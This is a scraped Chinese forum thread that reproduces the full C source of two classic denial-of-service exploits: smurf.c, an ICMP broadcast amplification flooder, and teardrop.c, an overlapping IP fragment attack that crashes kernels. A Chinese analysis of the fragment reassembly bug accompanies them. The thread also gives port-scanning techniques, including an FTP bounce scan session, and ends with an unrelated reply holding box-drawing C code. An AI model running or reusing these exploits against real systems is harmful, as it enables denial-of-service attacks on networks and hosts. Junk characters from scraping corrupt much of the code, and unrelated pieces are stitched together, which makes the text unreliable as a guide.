/ g, n$ r2 G0 o* z' z*0 ]3 A+ L6 e9 f( f3 @
*
9 j2 |/ S. c' S*/#include <SIGNAL.H>: w) y$ c) S% t7 D6 g" }1 C
#include <STDIO.H>
; e) r5 L4 p) M/ r% }#include <STDLIB.H>
$ h$ S8 {/ m# A1 A6 j/ ^. j#include <SYS socket.h>
 Z$ [1 w: h8 M4 `% k' O7 ?& U#include <SYS types.h>
; G% R4 D9 u' E) r! H#include <NETINET in.h>
) y9 B4 T7 I( G' R/ h- r( h& g2 r#include <NETINET ip.h>
/ ~* P% |" Q' [* y# F#include <NETINET ip_icmp.h>
2 m8 W8 x8 q5 W2 z) \2 P* d#include <NETDB.H>
" C1 U% {9 K. ]#include <CTYPE.H>
7 ^$ x" l6 s! j+ D#include <ARPA inet.h>
* D& J" R, ^) c. r6 s/ j7 f4 E4 Z" P7 X#include <UNISTD.H>
1 h5 G: t5 @4 l; x Q9 L! O/ D#include <STRING.H>void banner(void);& O! U/ d0 r2 ]
void usage(char *);5 s! B# {) K" ]( O$ o- ~1 ^- p
void smurf(int, struct sockaddr_in, u_long, int);
% L* o3 `& ?, Z/ Z% }# v0 Tvoid ctrlc(int);/ ]9 ?2 z/ |3 a/ Z
unsigned short in_chksum(u_short *, int);/* stamp */
3 o3 Q! p: }4 ]8 F( ?7 dchar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";int main (int argc, char *argv[])2 O5 N5 `5 C9 q0 j2 W+ u$ y0 o) z4 \
{9 }0 F0 J+ Z Z8 ~3 C; B7 S; ]! T
struct sockaddr_in sin;
% t) e/ | ?$ Q) Kstruct hostent *he;' X8 H/ \/ K3 e! [
FILE *bcastfile;7 C6 u. [2 o3 v, O( i1 B
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
 I! b+ \2 b- F5 V' V$ Hchar buf[32], **bcastaddr = malloc(8192);banner();
! X# j8 I1 E/ I2 V5 x3 S! ]0 Tsignal(SIGINT, ctrlc);if (argc < 6) usage(argv[0]);if ((he = gethostbyname(argv[1])) == NULL) {
2 O4 }' Y4 L$ |0 y$ Gperror("resolving source host");
# a& o7 t4 X$ l* ?/ Oexit(-1);
5 z- Z7 R& o9 Q m C0 A: U}
& k& U! ^( K. w- j) n4 ]" H' `memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);+ z" _8 z: g+ A: c8 G+ ?; J
sin.sin_family = AF_INET;
' w+ F# K( @$ h% Q ]6 tsin.sin_port = htons(0);num = atoi(argv[3]);& e- O9 {% f. d4 H* X/ Q; G
delay = atoi(argv[4]);
" r7 \% y0 j3 r. y# @pktsize = atoi(argv[5]);if ((bcastfile = fopen(argv[2], "r")) == NULL) {' a3 N8 I! S0 c
perror("opening bcast file");. d- x T. {- ?( w+ G9 F0 A
exit(-1);2 e Q, T2 n; U: N
}, y' P2 a' A' U: K, X
x = 0;: Y8 B: |$ m$ v; c: p+ s5 }' d
while (!feof(bcastfile)) {
2 P4 T' Y; L/ `* pfgets(buf, 32, bcastfile);
% X; u2 G% f, t5 qif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
9 N7 B7 J |( v) [. ufor (i = 0; i < strlen(buf); i++)
: Y, x i, |; ^( Mif (buf == '\n') buf = '\0';5 e% T% h8 {7 B7 x; t( G9 q
bcastaddr[x] = malloc(32);; L+ _' f4 w/ {6 W1 n5 Z
strcpy(bcastaddr[x], buf);
- \. Q8 J3 `( N, I; P" j. x4 @% Dx++;
1 [) O/ n9 I/ R1 D9 H; N1 B}& T- ~% P$ a$ c8 C+ q
bcastaddr[x] = 0x0;
8 K/ W5 e2 C( R, ^. Nfclose(bcastfile);if (x == 0) {9 V2 _: @: B" f& V
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);) W# M+ F3 z" g' L! [1 o6 Z& }
exit(-1);
5 N5 l: G7 [. Q( D$ r# k( B}( x1 Y1 v) T# o( G$ i4 { J
if (pktsize > 1024) {
: T( j6 y2 R, F2 D/ l0 X/ Ifprintf(stderr, "ERROR: packet size must be < 1024\n\n");
9 j! B9 r Q6 \# Z8 N% Z# ?/ ]exit(-1);
) Y3 R: R. Q7 h* C7 C8 T K}if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { L# C" t$ X% X' o% G1 Y/ N, G
perror("getting socket");4 ^3 C/ m' Q M( k/ n" s1 g# u
exit(-1);/ p1 O a9 p2 T$ d& v, e
}
% j. o( D# N- p4 ]! Zsetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);for (i = 0; i < num || !num; i++) {
1 t# q% W- ^& s& n" D3 |if (!(i % 25)) { printf("."); fflush(stdout); }: `! X; e0 n1 F! n: b
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
9 u" s1 S& R0 g- ]" ^cycle++;$ I4 A( p5 f6 y8 ?
if (bcastaddr[cycle] == 0x0) cycle = 0;
4 m E- S0 z9 C" qusleep(delay);* ]7 ]$ a4 k: V/ n
}3 f) i$ Q% Q h+ h' e. D
puts("\n\n");
4 Q: K/ u# A+ u1 S1 T; I% Sreturn 0;( H( N% Z3 o% C) T- J
}void banner (void)
 {( S; I( U, l) S' L" {$ _1 w{" Z( s1 E* T9 |+ y: V
puts("\nsmurf.c v4.0 by TFreak\n");0 G$ S' [0 d! |& ~- G5 a1 L" K! U
}void usage (char *prog)
9 H5 g _2 s' ]: ^' f{3 [6 n, \. ?) {/ R$ _ V, a
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
! g R" e4 X* k"<NUM packets> <PACKET delay><PACKET size>\n\n"
 B$ J; }" O! L0 ?+ e"target = address to hit\n"- ^7 m0 X3 F' N1 T# V
"bcast file = file to read broadcast addresses from\n"
% ^% y5 y( j) y- t6 R; ^. ["num packets = number of packets to send (0 = flood)\n"# t7 c# d% U9 d! J
"packet delay = wait between each packet (in ms)\n"- {: J' U4 M' M7 D% \( a
"packet size = size of packet (< 1024)\n\n", prog);* }5 S4 [# e9 I6 j |- Q' p1 U
exit(-1);
3 A2 Y! m0 U. e1 t$ |3 l' S# d}void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
; |; z# M# I! ?8 r! l! D" C{ ]/ M9 n& S! ]2 ]8 l
struct iphdr *ip;
5 ~; D- `$ U, i0 n; c$ ystruct icmphdr *icmp;" G {( Z( r0 L1 |' v* A; N
char *packet;packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);2 E, ]- s! v% Q3 \2 b# h
ip = (struct iphdr *)packet;
+ ^; w& r, ?1 U4 N: Ticmp = (struct icmphdr *) (packet + sizeof(struct iphdr));memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
; @; F i8 |& t# Q& e( W& p$ Xip->ihl = 5;) ]+ @7 u, d* H1 k3 S
ip->version = 4;
9 V m. L( i4 M% X+ Pip->ttl = 255;
/ [7 P2 M, c4 V& D; y& xip->tos = 0;
3 }- }) r. f" L' ~ip->frag_off = 0;5 @8 Y% M1 Z2 b# p4 X0 Q# P
ip->protocol = IPPROTO_ICMP;# p7 `3 r" e% L2 j
ip->saddr = sin.sin_addr.s_addr;9 Q+ k2 }6 f6 a6 @
ip->daddr = dest;$ }' W) D9 v+ W3 _1 T1 t- t) s0 b
ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));9 j$ k$ l* Y5 G0 g
icmp->type = 8;+ q% E: j( x. [! D! p6 ?1 W% F5 ^
icmp->code = 0;
7 ?' Y# e/ @) Y! O* W# W" A4 @icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
: _+ |/ W, u# N8 b0, (struct sockaddr *)&sin, sizeof(struct sockaddr));free(packet); /* free willy! */
7 x' E9 M! ?( Z2 ~}void ctrlc (int ignored)/ c0 c* @8 F+ v" D, }% G
{
4 S* C6 z; A9 E; qputs("\nDone!\n");
8 X) L; T; \! w4 ^! i6 X- C% x8 Nexit(1);
7 \+ i' l# _7 s2 V9 ]$ P% e}unsigned short in_chksum (u_short *addr, int len)$ [9 K) Z5 f; F5 X* j- ?
{1 ^& T( s } g) X
register int nleft = len;
: I/ Z7 E2 E) D& T3 | \register int sum = 0;# ~0 s8 l2 m0 W z/ [
u_short answer = 0;while (nleft > 1) {0 K7 k2 M; V: a; D1 n0 b
sum += *addr++;. D( ^" ^$ R# V2 f9 u( c$ N9 ?6 g
nleft -= 2;
# G% L* l3 C5 W# m3 f6 [) A}if (nleft == 1) {
! T7 H- f! U4 @) a6 _. y) O/ F*(u_char *)(&answer) = *(u_char *)addr;; V: J j" e' \' d. d
sum += answer;
9 o8 `; }5 o$ | z7 x}sum = (sum >> 16) + (sum + 0xffff);: z4 B' u$ d1 ~) a7 u+ W. F: D
sum += (sum >> 16);
( m2 P# ^4 k. E+ ~. k9 F& R Q, ?6 lanswer = ~sum;1 H% p3 ~; r; J/ q- i: O
return(answer);
) G( {+ v( F$ R5 N" G; q& Y}9 d( I! q4 c& x r v
3 Teardrop在Linux的ip包重组过程中有一个严重的漏洞。在ip_glue()中：在循环中重组ip包：$ K( d5 V; I0 Q! h8 [
fp = qp->fragments; s& r1 R8 z! D) r- ~
while(fp != NULL)( l. i! P& F- u; v
{
) \( U5 h( R. Q4 \3 A, Oif(count+fp->len > skb->len)! v. y7 P( D4 V: H0 V
{
8 {% c3 U* }5 {* o3 G3 |* ~error_to_big;
# U! N. E6 F1 o}
0 a5 J$ b; L- `' ^memcpy((ptr + fp->offset), fp->ptr, fp->len);
' S5 r7 k9 X. c6 Y: a# Vcount += fp->len;
 |0 }; V4 O+ m6 J2 ^fp = fp->next;
( X+ H& ^- o) [3 E' A# Y0 q}
& a: T* S3 K( z9 W( A这里只检查了长度过大的情况，而没有考虑长度过小的情况，
1 d$ s- ?; c; R如 fp->len<0 时，也会使内核拷贝过多的东西。计算分片的结束位置：$ ]8 l" L& f- M4 J( C5 G
end = offset + ntohs(iph->tot_len) - ihl;当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）! o: U& J" k0 j. x( g, G" L8 X
是这样处理的：' D$ C7 b4 T: W( y
if (prev != NULL && offset < prev->end)
) e. `2 y' c) H! s{
' o7 V8 ^* i7 V7 Ji = prev->end - offset;
$ P- n& d, z- |+ a6 _$ d/ D8 ~( Uoffset += i; /* ptr into datagram */
0 D4 M. m, c/ E1 ^" w) vptr += i; /* ptr into fragment data */3 T5 ~8 ^% R; p! }3 h
}/* Fill in the structure. */
; V9 i# [9 {! G1 [, d; Q* ?fp->offset = offset;
! a) {; x* q, gfp->end = end;
* T9 ?6 i C5 Y v8 c9 P( T' @; cfp->len = end - offset; //fp->len是一个有符号整数举个例子来说明这个漏洞：) _$ v& d6 g" M% x! I+ Y7 h9 e. E% L: m
第一个碎片：mf=1 offset=0 payload=209 c0 h+ m$ p+ q; Y$ g% j6 U0 s
敌二个碎片：mf=0 offset=10 payload=9这样第一个碎片的 end=0+20
; [2 `) }$ T; V5 I* {6 eoffset=0
3 i- l, d& M* s' |这样第二个碎片的 end=9+10=19" d! x8 d$ x8 y2 @# X) V
offset=offset+（20-offset）=20( ~4 S( G: e3 C2 E: R$ d
fp-〉len=19-20=-1； 那么memcpy将拷贝过多的数据导致崩溃。; m) p# ]" Y* a }1 R* Y, N) _
/*
: |. d/ U6 r4 Q3 y3 n! D* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
# P. h# v2 U5 b. q( a*2 t% b+ G0 a1 y4 B; O
* Linux/NT/95 Overlap frag bug exploit$ L. |8 B Q4 W
*
& s! m! j4 p5 n: I' a* Exploits the overlapping IP fragment bug present in all Linux kernels and8 k8 T" D3 [& G; G! X% v
* NT 4.0 / Windows 95 (others?)+ g7 l) ~$ Z5 z+ }: F; X
*
! h. H# n( Z: E' k* \4 b% |% H* Based off of: flip.c by klepto
 x' X$ b- i' A8 Z7 p/ y: e0 X* t* Compiles on: Linux, *BSD*
, y: R. g: w7 I1 U*% N, `6 V- K! m1 T, n2 ]& j
* gcc -O2 teardrop.c -o teardrop
 U* N# A# s+ a% B6 B* OR+ D+ B) G: y; ]1 m
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING: N) C3 R5 N; D3 Y
*/#include <STDIO.H>2 C, J0 i8 c R; S/ N
#include <STDLIB.H>
9 J% Y4 _' x: _6 E+ R1 |% Z#include <UNISTD.H>' V7 ~! e& f; Z: {4 B$ J P
#include <STRING.H>- w) @7 A# ]+ O$ v) r/ x& Y o4 T
#include <NETDB.H>
4 P& Y4 E3 `" [; d& I. F$ d#include <NETINET in.h>
0 D7 b5 W9 {3 \% T6 G% a' ~- w! [#include <NETINET udp.h>
8 u+ Q# |# G2 c5 D! X$ C- S#include <ARPA inet.h>
0 _ P, O- H) E- d) j* I#include <SYS types.h>1 G; |2 ^( f9 `
#include <SYS time.h>" E6 Y. S" V" L2 ^& D
#include <SYS socket.h>#ifdef STRANGE_BSD_BYTE_ORDERING_THING. d; x, f8 \ r
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */# S/ `4 Q0 @" B- ?+ P( P
#define FIX(n) (n)* L0 p# T9 A- I; a+ {5 g- i" f
#else /* OpenBSD 2.1, all Linux */
 S( M8 y# y2 S' w, X/ Y& C2 g#define FIX(n) htons(n)
! E( W# K9 ~2 x8 w#endif /* STRANGE_BSD_BYTE_ORDERING_THING */#define IP_MF 0x2000 /* More IP fragment en route *// q+ N$ w. c& b1 k+ l
#define IPH 0x14 /* IP header size */& [3 l# `3 e. G3 Q
#define UDPH 0x8 /* UDP header size */7 ~3 q/ d/ E/ D# ^' I" i2 J$ l
#define PADDING 0x1c /* datagram frame padding for first packet */
/ c! E7 V/ a* B" N#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */( v, p& e2 z2 @+ y3 ^3 N
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
# \4 W$ ~ z4 }1 n# f( ~* withstand maybe 5 or 10 sometimes... Experiment.6 m5 S" a2 `+ [; ] b* @
*/void usage(u_char *);5 T; z! q) y, ?9 l2 N% N+ j
u_long name_resolve(u_char *);
6 }- C% `9 N2 p& H" mu_short in_cksum(u_short *, int);
 e- b. h( R4 ?/ z, h4 xvoid send_frags(int, u_long, u_long, u_short, u_short);int main(int argc, char **argv)
3 K: l: a, K: o5 i9 f' F3 R{+ m% G0 E( _) [
int one = 1, * x" i) U* Y! w
count = 0,
% f z" U' V4 J5 M: hi, ( h3 I/ r" [$ q' f% @2 \& q
rip_sock;
" Q, Q0 N4 `, n% f' H8 N) Xu_long src_ip = 0, dst_ip = 0;
* ]* v' o( j8 I- I3 _! Z7 ^8 Nu_short src_prt = 0, dst_prt = 0;
0 [5 H' e' B! ]" `: N, U$ [) Rstruct in_addr addr;fprintf(stderr, "teardrop route|daemon9\n\n");//建SOCK_RAW
3 d7 I9 ?* Q, F* G/ K- q: M+ f4 H2 q6 Sif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
7 b3 b6 M6 x+ r4 z& a ~+ ^" Y{9 L; j1 d2 U2 [" |6 p9 G) X
perror("raw socket");4 _2 i8 L& Y& |* F4 }% Y+ k+ R
exit(1);) ~+ G# a- y6 f- ^4 m) e
}
3 i T! c" }3 x9 g# Q3 |1 O//由系统处理IP校验和。, ]) g( L$ I9 p. L' i! X
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
- t& N6 F) Y1 E/ A, l: w< 0)
$ O+ G. q: V- S) [{
& l: w- W/ a9 ~. i3 ^perror("IP_HDRINCL");
7 e, M6 Q. G% |8 \4 k3 Eexit(1);" |" g' E/ V$ B) o3 d( @+ Z
}if (argc < 3) usage(argv[0]);
 r3 V5 |/ M" @+ J9 |8 V7 d* @if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) @$ J4 }: K# W) \- ^
{
7 t% x) w3 i6 hfprintf(stderr, "What the hell kind of IP address is that?\n");
) Y$ S. j8 O3 }* R6 R5 T; Yexit(1);
( c9 c5 ~/ W8 R6 p. |}while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
( X5 `3 r/ C( _{1 c) o0 d# Y( a
switch (i)
& j3 S6 [) F4 i# w# w$ Z3 j$ W{2 p4 u3 v2 [+ a1 k* v
case 's': /* source port (should be emphemeral) */
* l8 i* d9 U' M4 b, u; Vsrc_prt = (u_short)atoi(optarg);) o7 y& r: G6 |" S4 {3 ?
break;
4 y- k/ D: Y' zcase 't': /* dest port (DNS, anyone?) */+ f& b; I5 q, f) p( q
dst_prt = (u_short)atoi(optarg);- V: ^2 ?- S ~5 `
break;' L( Q; l- [2 ~2 ^& [. {: N/ p
case 'n': /* number to send */
4 p- H0 N: U* d d4 mcount = atoi(optarg);
1 F5 @0 f) u- u& }break;
& }, J1 q# u0 P8 W+ Kdefault :. m* u/ x+ t9 k0 Q& x1 q6 o
usage(argv[0]);$ N# z" P5 ]" [5 `
break; /* NOTREACHED */
; y8 D9 w Q" {) D}
( b7 N- M3 K; z$ H) ~# B1 l% s}srandom((unsigned)(time((time_t)0)));
7 U: Z' U- s" W9 Y' Qif (!src_prt) src_prt = (random() % 0xffff);
" T# a& U! g4 d; f' ~if (!dst_prt) dst_prt = (random() % 0xffff);
! B: i& g/ Q3 Q& q& m1 fif (!count) count = COUNT;fprintf(stderr, "Death on flaxen wings:\n");1 ~6 K1 M- {" }) x4 l
addr.s_addr = src_ip;" l4 S% m' B+ F8 Y
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);2 I# ?& O0 G5 s9 L- H5 k1 H# k2 u
addr.s_addr = dst_ip;' _# y. T0 w; q9 b, w4 C! j
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
. m6 a2 A- _9 O' m7 m- B1 @3 ffprintf(stderr, " Amt: %5d\n", count);
7 O5 `. }% b# Cfprintf(stderr, "[ ");for (i = 0; i < count; i++)8 r4 k/ r) y# e' P
{! F5 M! h# K, ~* |4 w
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);: I0 y! ~7 \+ f
fprintf(stderr, "b00m ");
8 y4 |- z' _5 u; R5 N9 Rusleep(500);! i6 y* U5 {3 J6 a
}
+ q6 K' k$ @8 e: o6 Y Cfprintf(stderr, "]\n");
$ K U4 {" C' U3 Y' i( S4 ireturn (0);
3 e" d& M8 Y7 D- @. A' ~}/*7 O n! h& L, ?" k
* Send two IP fragments with pathological offsets. We use an implementation: @" ?2 C% s/ [2 G: ?* C
* independent way of assembling network packets that does not rely on any of% M. W# R2 ~$ D4 X
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).. V1 ^: S- ?# {- {' Z
*/void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,( j* j; {1 `6 a: |: j7 t1 Z
u_short dst_prt)
+ y# Y4 g9 e- k( U, [/ @! S{
3 e+ ^" C1 ?5 Lu_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
4 Q& O# E6 a9 g+ Zu_char byte; /* a byte */. Y& B* _, k% \8 n; |1 z
struct sockaddr_in sin; /* socket protocol structure */sin.sin_family = AF_INET;
1 V. O* E0 v" Isin.sin_port = src_prt;! J+ k! J% m1 ?7 J
sin.sin_addr.s_addr = dst_ip;/*
9 W! g& ^& b+ n8 a0 b1 K# H l* Grab some memory for our packet, align p_ptr to point at the beginning
, c$ s6 A; V# k! h7 R; e* of our packet, and then fill it with zeros.
4 E7 y+ ^# Y" [& v- M*/5 ~" ~8 {* s& u, h P6 }- ?9 g4 z
packet = (u_char *)malloc(IPH + UDPH + PADDING);
% D# W& v- |$ p: {" M8 Bp_ptr = packet;
0 S, Q0 l6 k! k( J3 O( P8 ~+ I$ Qbzero((u_char *)p_ptr, IPH + UDPH + PADDING);byte = 0x45; /* IP version and header length */9 [8 Q' z1 R2 g$ o4 C- n
memcpy(p_ptr, &byte, sizeof(u_char));" a# @6 y( @6 ^3 |3 F {2 f5 v9 g
p_ptr += 2; /* IP TOS (skipped) */8 Y3 _* k+ P4 U/ j( v t
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
$ C: a- P- A, M$ B6 p; t+ x8 J0 d( gp_ptr += 2;
/ {7 T7 l, m' r! ?& ^ a* m5 \% d*((u_short *)p_ptr) = htons(242); /* IP id */
7 r: P& h: v, S) M& M9 np_ptr += 2;
- C# f b9 Q2 D3 {7 s1 G( o* Q*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ w' x8 ]4 f- @( n, U: M( X
p_ptr += 2;) R) z6 {, _6 k8 `
*((u_short *)p_ptr) = 0x40; /* IP TTL */
+ M, F$ V8 N) ?, B0 ^byte = IPPROTO_UDP;6 ^& q- i7 `. w$ P
memcpy(p_ptr + 1, &byte, sizeof(u_char));/ B# G4 r! q5 s" A
p_ptr += 4; /* IP checksum filled in by kernel */, W. P( m% H" B7 F! i2 T& [5 f
*((u_long *)p_ptr) = src_ip; /* IP source address */7 f8 o1 z1 r% q7 s
p_ptr += 4;
; U) s5 ?2 h$ F+ i. f*((u_long *)p_ptr) = dst_ip; /* IP destination address *// J* n+ `& M8 E8 O
p_ptr += 4;! _4 k3 F; E' o! T% G" _+ v; [
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
' m$ s1 P) V9 f( `) [& M& ip_ptr += 2;8 O3 t8 S ^0 D* J
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */6 E% E# P4 n% b6 a0 W: L
p_ptr += 2;
% C# _3 d8 t# B) n*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,1 s9 Y4 g7 t, e: q) Q
sizeof(struct sockaddr)) == -1)
- p1 c( i8 {8 e, m0 Z. X2 M/ @{! j0 P) b9 ^5 E5 z. ^2 f( @. M
perror("\nsendto");
6 |6 G/ ~+ E# k9 k+ ^' g, Vfree(packet);0 n, K7 }) }( R2 W5 J8 q( |4 f) s+ O- b
exit(1);+ S6 v) |8 ?3 e. `8 r- A
}/* We set the fragment offset to be inside of the previous packet's7 _6 d& f. O/ i( t
* payload (it overlaps inside the previous packet) but do not include8 ?# T* L8 T, T' U4 h& `
* enough payload to cover complete the datagram. Just the header will/ C1 l3 P7 g. c5 S0 `; g
* do, but to crash NT/95 machines, a bit larger of packet seems to work1 ?1 b/ y& \% p+ l
* better.- }8 s5 t( L3 c$ B, ^
*/
) a4 }& I1 T) M+ s5 M4 ]p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */" N$ h5 p, J/ k, m- X5 J+ H
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
 N4 l' G4 a# H9 J4 @2 op_ptr += 4; /* IP offset is 6 bytes into the header */7 w( o0 y. T Y: t. l5 [& N6 N
*((u_short *)p_ptr) = FIX(MAGIC);if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
 O- W6 @' C8 R$ T2 y9 H( Fsizeof(struct sockaddr)) == -1)( H8 P# Q8 `; M+ O: a
{( s9 K( j; D" D( D
perror("\nsendto");7 x( r& z' O0 ~) X. p& A1 Z) ], H
free(packet);' X; T1 m8 g6 t% h' u8 C
exit(1);- s. |& U; d; s+ q1 I5 T7 ?
}/ \5 I. g( \# u" k9 i
free(packet);8 o5 l4 I+ n& N% {+ u; S
}u_long name_resolve(u_char *host_name)2 \8 W8 j9 D& v% ~+ ~. e9 |
{
. c1 f. N8 Q9 T( O; G: U& ^struct in_addr addr;
7 a3 I' i; W: N) ?5 Y0 ~( \6 Estruct hostent *host_ent;if ((addr.s_addr = inet_addr(host_name)) == -1)
; o O, _7 ^8 ]! j1 a# C* X- q{
6 O# `( w& `9 z" p0 _if (!(host_ent = gethostbyname(host_name))) return (0);
& {. B; T9 d! ~bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
8 J0 N4 _1 g4 R. U; }}
9 ~2 e+ D% Q9 O7 ~- m& `return (addr.s_addr);
( u. T) I" s4 {% N) y/ d}void usage(u_char *name)9 i. R$ L" a* P% {- c, H8 j
{2 B) V2 [$ i8 w9 V+ _
fprintf(stderr,5 k8 E8 h, w) n% C- i% C
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
. `4 S# L( W& W, S* nname);$ G) k: r$ \# S* o5 R0 ?. p
exit(0);: G! H5 ?# x$ _3 [- C/ [
}: U6 [! ]! b6 {) M
4 Portscan 和 AntiportscanPortscan的两种主要方法： ; t C5 Z# f0 I4 G/ r4 M
(1) Half-open（半打开）" a$ v3 x$ Q* A
利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
6 V1 c0 F( M& {* e& l如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。(2) FTP scanner4 R* ^- J" U1 x6 o; h) D
利用了FTP的port命令，例如可以这样作：
$ ? S6 D$ n6 ^( N& Z, P% F选择一个FTP服务器，连上后令port命令指向目标机，如果返回4 o. K+ ~, B! ?* G
值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则- g/ I J% I: }7 M
该端口无服务。# ~* g+ g" K, ]4 A& J
telnet 192.168.1.13 213 }6 U9 B; O1 J1 j8 k% \' G. G
Trying 192.168.1.13...
2 E1 N, \5 t) XConnected to pp.bricks.org.: y" L0 R5 f# M) ?, w7 S. Z
Escape character is '^]'.
# _' R1 {1 G J3 u7 n5 ~220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) 8 K+ X8 X4 O2 O* j
Thu May 7 23:18:05 EDT 1998) ready.user anonymous7 K: h9 P1 G- l$ x6 X; U+ H
331 Guest login ok, send your complete e-mail address as password.
& `/ B: j7 H: X+ L5 _1 o: Cpass aa@aa.aa
) m: M2 h" S" u0 h230 Guest login ok, access restrictions apply.
8 j% o! O, B u/ l. Pport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口150 Opening ASCII mode data connection for file list.- k1 g) s: @/ n0 b3 W# Y! y
425 Can't build data connection: Connection refused.% U7 |( I4 F0 b& Q& M: X7 r
//该端口未活动 , @/ [0 d, X0 v4 s
150 Opening ASCII mode data connection for file list.# C& x9 t1 L) Y
226 Transfer complete.* c1 y% [! Q1 ^. [: [; T7 O* Z
//该端口活动中! q( i; K* w( }$ M# J; ?
但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。上述两种方法是通用的，而针对个别系统有一些特殊方法。如一些系统受到包后会作如下处理：标志活动的端口的应答不活动端口的应答 SYN SYN|ACK RST 或 Nothing# o& d" ?# E3 k6 P: ~3 p7 u P
SYN|FIN ACK or SYN|ACK* RST
, x$ ]$ E* `, W- ^ACK Nothing RST
+ d& y" b$ ]- p2 l0 flag Nothing RST你最好是试一试。Antiport8 g/ G3 v" M; i3 J, s" }7 l
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
+ F+ X$ f( y$ x8 g3 h ?: Y# q若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认5 S/ Z" q. o% w/ i: F* I+ {& d; I
定它在向你做portscan。notes：
# ^& }1 i0 |+ e( G1 v& f' W6 R早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
2 O# P0 Q% [: |4 S' v而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的
$ r; Y" `4 V: o+ Q3 [9 f) V, K+ J都是向它scan。

我也说一句

发表

使用道具举报

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

3^#

发表于 2004-10-4 02:39 |只看该作者 |招呼Ta 关注Ta

<DIV align=center>设计彩色框的C源程序</DIV><

>
/*
*
* Short driver module
*
*/<

>main()
{
clrscr();
box(1,1,23,79);
box(2,2,21,77);
box(3,3,19,75);
box(4,4,17,73);
box(5,5,15,71);
box(6,6,13,69);
box(7,7,11,67);
box(8,8,9,65);
box(9,9,7,63);
box(10,10,5,61);
box(11,11,3,59);
box(12,12,1,57);
poscur(24,1);
}<

>/************************************************************
* BOX *
*----------------------------------------------------------*
* Written by: Jeff Ebert 7/01/87 *
* Modified by: xxxxxxxxxx *
* *
* Please modify me! *
* Possible Enhancements include but are not limited t *
* 1) Variable box character styles [1 line or 2] *
* 2) Error checking *
* 3) Color options *
* *
* *
* This function builds a simple double frame for a menu. *
* The function is passed the parameters for the upper *
* left corner row, upper left corner column the height *
* of the frame and the width. *
* *
************************************************************/
#include <STDIO.H><

>#define ULCOR 201
#define URCOR 187
#define LLCOR 200
#define LRCOR 188
#define VBAR 186
#define HBAR 205
#define ESC 27<

>
box(row, col, hgt, wdth)
int row, col, hgt, wdth;<

>{
int x, y;<

>poscur(row,col);
putchar(ULCOR);
for(x = col + 1; x <=(col + wdth -1); x++)
putchar(HBAR);
putchar(URCOR);<

>for(x = row + 1; x <=(row + hgt - 1); x++){
poscur(x,col);
putchar(VBAR);
poscur(x,col+wdth);
putchar(VBAR);
}
poscur(x,col);
putchar(LLCOR);
for(x= col + 1; x <=(col + wdth -1); x++)
putchar(HBAR);
putchar(LRCOR);
}<

>/********************************************************
* POSCUR *
*------------------------------------------------------*
* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
* sequence to produce the desired effect. Its not the *
* fastest way to position the cursor, but perhaps the *
* most portable. *
* *
********************************************************/
poscur(xcor,ycor)
int xcor,ycor;
{
